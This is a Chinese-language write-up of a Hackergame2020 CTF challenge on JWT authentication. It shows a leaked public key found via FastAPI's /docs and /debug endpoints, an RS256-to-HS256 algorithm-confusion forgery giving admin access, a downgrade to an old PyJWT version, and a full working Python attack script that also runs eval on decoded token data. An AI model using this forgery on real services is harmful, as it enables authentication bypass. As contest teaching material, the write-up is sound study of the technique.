Hackergame2020 普通的身份认证器 Write-up

关于 JWT

毕竟是面向搜索引擎的比赛嘛 多搜搜

下面的链接给出了介绍了 JWT 与给出了几种 JWT 的攻击方法

JWT(JSON Web Token) 攻击

回到题目

打开题目页面只有两个按钮,按 F12 打开开发者面板,切到网络选项页

点击以 Guest 登陆,观察网络请求

20201107160650.webp

Hg-Token: 比赛 Token加入HeadersPOST/token 来进行登陆

20201107160917.webp

得到access_tokentoken_type

base64解码登陆后的返回的 JWT,可知此 JWT 使用 RS256 加密

20201107161147.webp

根据上文所提到的攻击方法,对待 RS256 加密,只有

  1. 将加密降级为 none
  2. 将加密降级为 HS256

手动或者使用 jwt_tool 来进行构造一个新的headerspayload 进行第一种加密的攻击,失败

然后呢

既然第一种方法不行 那么就只剩下将算法改为 HS256,以公钥作为密钥进行降级攻击了

但是很明显手上所拥有的信息中没有公钥

这时候读一下页面的源码,看看有没有什么收获

20201107161703.webp

发现此网站由 FastAPI 做后端,于是开始搜索 FastAPI 与 JWT 的相关内容

无有用信息

于是只搜索 FastAPI 的相关攻击 于是搜到这样一篇

CTFshow 1024 杯

20201107161946.webp

发现里面提到了 FastAPI 有交互式的 API 页面,于是马上回到比赛页面,进入/docs

20201107162042.webp

点开/debugexecute后出现了PUBLIC_KEY

20201107162159.webp

这时候就可以开始构造攻击脚本了

构造攻击脚本

首先要通过登陆来获得没有过期的 token(其实不必须

1
2
3
4
5
6
7
REQUEST = requests.Session()
headers = {'Hg-Token': token}
REQUEST.headers.update(headers)

def login():
request = REQUEST.post(f'{url}token').json()
return request['access_token'], request['token_type']

对其access_token进行base64解码,将payload部分解析成字典,记得要补全等号才能正常解析

1
2
3
4
5
payload_base64 = bytes(access_token.split('.')[1], encoding='utf8')
missing_padding = len(payload_base64) % 4
if missing_padding != 0:
payload_base64 += b'=' * (4 - missing_padding)
payload = eval(str(base64.decodebytes(payload_base64), encoding='utf8'))

然后将其payload里的sub的值改成 admin

1
payload['sub'] = 'admin'

同时别忘了要获取公钥

1
2
def get_public_key():
return REQUEST.post(f'{url}debug').json()['PUBLIC_KEY']

最后就是将这套构造后的payload使用 HS256 算法,公钥作为密钥来进行加密

1
jwt_token = str(jwt.encode(payload, key=public_key,algorithm='HS256'), encoding='utf8')

将这个JWT加入到headers里进行请求

1
2
3
headers['Authorization'] = f'{token_type} {jwt_token}'
REQUEST.headers.update(headers)
print(REQUEST.get(f'{url}profile').json())

等等,报错了

如无意外,直接运行会报错

1
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

因为一般版本的 PyJWT 库会对密钥进行检验

会过滤掉以-----BEGIN RSA PUBLIC KEY-----此类开头的的密钥

结合第一篇文给的建议和题目给的提示

20201107163740.webp

1
pip3 install pyjwt==0.4.3

装好这个版本的PyJWT库后再跑一遍就可以得到 flag 了

后续

其实根据FastAPI JWT搜索出来的 FastAPI 的文档里有个小细节

20201107163956.webp

完整的攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import jwt
import requests
import base64

token = ''
REQUEST = requests.Session()
headers = {'Hg-Token': token}
REQUEST.headers.update(headers)

url = ''

def login():
request = REQUEST.post(f'{url}token').json()
return request['access_token'], request['token_type']

def get_public_key():
return REQUEST.post(f'{url}debug').json()['PUBLIC_KEY']

if __name__ == "__main__":
access_token, token_type = login()
payload_base64 = bytes(access_token.split('.')[1], encoding='utf8')
missing_padding = len(payload_base64) % 4
if missing_padding != 0:
payload_base64 += b'=' * (4 - missing_padding)
payload = eval(str(base64.decodebytes(payload_base64), encoding='utf8'))
payload['sub'] = 'admin'
public_key = get_public_key()
jwt_token = str(jwt.encode(payload, key=public_key,
algorithm='HS256'), encoding='utf8')
headers['Authorization'] = f'{token_type} {jwt_token}'
REQUEST.headers.update(headers)
print(REQUEST.get(f'{url}profile').json())